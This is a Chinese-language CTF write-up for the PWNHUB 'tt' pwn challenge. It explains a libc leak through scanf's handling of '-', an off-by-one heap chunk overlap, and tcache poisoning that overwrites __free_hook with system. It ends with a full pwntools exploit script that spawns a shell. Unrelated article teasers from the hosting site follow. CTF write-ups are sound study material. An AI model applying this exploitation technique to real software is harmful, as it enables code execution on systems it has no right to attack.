2023 PWNHUB 3月赛-【tt】

文章目录

  • setcbuf
  • 泄露栈地址
  • 转换
  • scanf
  • 栈地址
  • 思路
  • exp

setcbuf

代码 setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); 是用来设置标准输入、标准输出和标准错误流的缓冲模式的。

setvbuf 函数的原型如下:

int setvbuf(FILE *stream, char *buffer, int mode, size_t size);

该函数用于设置 stream 所指向的文件流的缓冲区,以及缓冲方式和缓冲区的大小。

  • stream:要设置缓冲区的文件流,如stdin, stdout, stderr等。
  • buffer:缓冲区的地址,设置为0LL表示完全不使用缓冲区。
  • mode:缓冲方式,可以是以下常量之一:
  • _IOFBF:完全缓冲 (full buffering)
  • _IOLBF:行缓冲 (line buffering)
  • _IONBF:无缓冲 (no buffering)
  • size:缓冲区的大小。

在给定的代码中,setvbuf(stdin, 0LL, 2, 0LL); 意味着关闭了stdin的缓冲机制,即从stdin读取的输入不会被缓冲,而是直接从终端获取。

同样地,setvbuf(stdout, 0LL, 2, 0LL); 和 setvbuf(stderr, 0LL, 2, 0LL); 则分别用于关闭stdout和stderr的缓冲机制,从而输出将立即显示在终端上,而不会被缓冲。

泄露栈地址

  name[3] = __readfsqword(0x28u);name[0] = 0LL;name[1] = 0LL;read(0, name, 0x10uLL);printf("name: %sage: %d\nhigh: %d\n", (const char *)name, (unsigned int)age, HIDWORD(age));// name泄露栈地址

转换

*(_QWORD *)(8LL * index + chunk_70_1_addr[0])

在这里插入图片描述

chunk_70_1_addr[index]

scanf

注意scanf的参数是栈顶的第一个元素的位置,如果此时输入-,scanf将不会写任何数据到scanf的第一个参数的位置,但同时会认为任务接收完成
由于此时栈顶的值为io_files_jump的地址,且最后会将栈顶元素的值赋值给要printf的参数,最后可以泄露libc基地址

栈地址

栈地址和libc基地址和heap基地址之间都没有固定偏移

思路

  • 利用scanf的参数和最后printf输出的参数的相关联系以及scanf遇到-的特性泄露libc基地址
  • 分配四个堆,大小都为0x18,第一个堆offbyone写第二个堆的size使得能够覆盖到后面两个堆
  • free将三个堆都free掉
  • malloc得到大堆,并同时修改后面堆的数据
  • 修改第三个堆的fd为free_hook的地址(在tcachebin的起始位置 先进后出)
  • malloc两次,并修改_free_hook的内容为system
  • free(第二个堆块)(第二个堆块malloc构造/bin/sh即可以)

exp

from pwn import *
context(os="linux",arch="amd64",log_level="debug")
p=process("./ttsc")
gdb.attach(p,"b main")
libc=ELF("./libc-2.27.so")def cmd(ch):p.sendlineafter(b"chs:",str(ch).encode())
def add(idx, size, content): cmd(1) p.sendlineafter(b"index?\n", str(idx).encode()) p.sendlineafter(b"size:\n", str(size).encode()) sleep(0.1) p.send(content) 
def free(idx): cmd(2) p.sendlineafter(b"index?\n", str(idx).encode()) 
def edit(idx, content): cmd(3) p.sendlineafter(b"index?\n", str(idx).encode()) p.sendafter(b"content:", content)
if __name__=="__main__":p.sendlineafter("what is your name?\n", b" ") p.sendlineafter("age?\n", b"-") p.sendlineafter("high?\n", b"-") p.recvuntil(b"age: ") lo = int(p.recvuntil(b"\n", drop=True), 10) p.recvuntil(b"high: ")hi = int(p.recvuntil(b"\n", drop=True), 10) _IO_file_jumps = (hi << 32) | lo libc_base = _IO_file_jumps - libc.sym["_IO_file_jumps"] add(0,0x18,"0")add(1,0x18,"0")add(2,0x18,"0")add(3,0x18,"0")edit(0,b"a"*0x18+b"\x71")free(1)free(2)free(3)add(1,0x68,b"a"*0x18+p64(0x21)+p64(0)*3+p64(0x21)+p64(libc_base+libc.sym.__free_hook))add(2,0x18,b"/bin/sh\x00")add(3,0x18,p64(libc_base+libc.sym.system))free(2)p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/549254.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

超越标签的探索:K-means与DBSCAN在数据分析中的新视角

最近在苦恼为我的数据决定分组问题&#xff0c;在查找资料时&#xff0c;恰好看到机器学习中的无监督学习的聚类分析&#xff0c;正好适用于我的问题&#xff0c;但是我之前学机器学习时。正好没有学习无监督部分&#xff0c;因为我认为绝大多数问题都是有标签的监督学习&#…

Linux课程四课---Linux第一个小程序(进度条)

作者前言 &#x1f382; ✨✨✨✨✨✨&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f382; ​&#x1f382; 作者介绍&#xff1a; &#x1f382;&#x1f382; &#x1f382; &#x1f389;&#x1f389;&#x1f389…

快速搭建一个一元二次方程flask应用

新建flask_service目录、templates子目录 flask_service —— app.py —— templates —— —— index.html app.py from flask import Flask, request, jsonify, render_template import random import matplotlib.pyplot as plt from io import BytesIO import base64app F…

【全开源】零点城市社交电商系统源码-最新版|博纳软云

零点城市社交电商系统源码——引领未来社交电商新潮流 在当今数字化时代&#xff0c;社交电商已经成为商业领域的一股新势力。零点城市社交电商系统源码&#xff0c;正是这一新潮流的引领者&#xff0c;以其独特的创新理念和强大的技术实力&#xff0c;助力企业快速搭建高效、…

每周编辑精选|微软开源 Orca-Math 高质量数学数据集、清华大学研究团队发布条件去噪扩散模型 SPDiff...

Orca-Math 是微软研究院发布的数学推理模型&#xff0c;该模型展示了较小的专业模型在特定领域的价值&#xff0c;它们可以匹配甚至超越更大模型的性能。微软近期开源了用于训练 Orca-Math 的 Orca-Math-200K 数学单词问题数据集&#xff0c;现已在 hyper.ai 官网提供下载&…

熵权法计算权重

文章目录 1. 多属性决策问题2. 熵&#xff08;entropy&#xff09;3. 信息熵4. 熵权法5. 熵权法的实现 基于信息论的熵值法是根据各指标所含信息有序程度的差异性来确定指标权重的客观赋权方法&#xff0c;仅依赖于数据本身的离散程度。 熵用于度量不确定性&#xff0c;指标的离…

机器学习-04-分类算法-04-支持向量机SVM

总结 本系列是机器学习课程的系列课程&#xff0c;主要介绍机器学习中分类算法&#xff0c;本篇为分类算法与SVM算法部分。 本门课程的目标 完成一个特定行业的算法应用全过程&#xff1a; 懂业务会选择合适的算法数据处理算法训练算法调优算法融合 算法评估持续调优工程化…

2、高级语言的语法描述

常用的高级程序设计语言 程序语言的定义 语法 一组规则&#xff0c;用它可以形成和产生合适的程序 词法规则&#xff1a;单词符号的形成规则。 单词符号的形成规则单词符号是语言中具有独立意义的最基本结构 一般包括:常数、标识符、基本字、算符、界符等 描述工具:有限自动机…

LabVIEW飞行器螺旋桨性能测试与数据监控

LabVIEW飞行器螺旋桨性能测试与数据监控 开发LabVIEW的电动飞行器螺旋桨性能测试与数据监控系统&#xff0c;专门针对电动飞行器螺旋桨在运行过程中的性能测试和监控需求。通过采集转速、转矩、拉力和温度等关键参数&#xff0c;系统能够实时监测和分析螺旋桨的状态&#xff0…

git tag标签使用

创建标签 git checkout test git tag -a v1.0.0 -m v1.0.0里程碑版本 git push origin v1.0.0 删除标签 git tag -d v1.0.0 git push origin :refs/tags/v1.0.0远程分支可以直接在页面删除

spring-boot-starter-thymeleaf加载外部html文件

在Spring MVC中&#xff0c;我们可以使用Thymeleaf模板引擎来实现加载外部HTML文件。 1.Thymeleaf介绍 Thymeleaf是一种现代化的服务器端Java模板引擎&#xff0c;用于构建漂亮、可维护且易于测试的动态Web应用程序。它适用于与Spring框架集成&#xff0c;并且可以与Spring M…

纳米阱可提高未来光学设备的光强度

一种配置光捕获器件的方法有望通过放大光和提高发光纳米材料的发射效率来获得更好的光学纳米器件&#xff0c;而无需复杂的技术升级。 强光束对于从医学到电子产品的无数应用至关重要&#xff0c;但使用日常光源生产它们具有挑战性。然而&#xff0c;它们可以由激光产生。激光…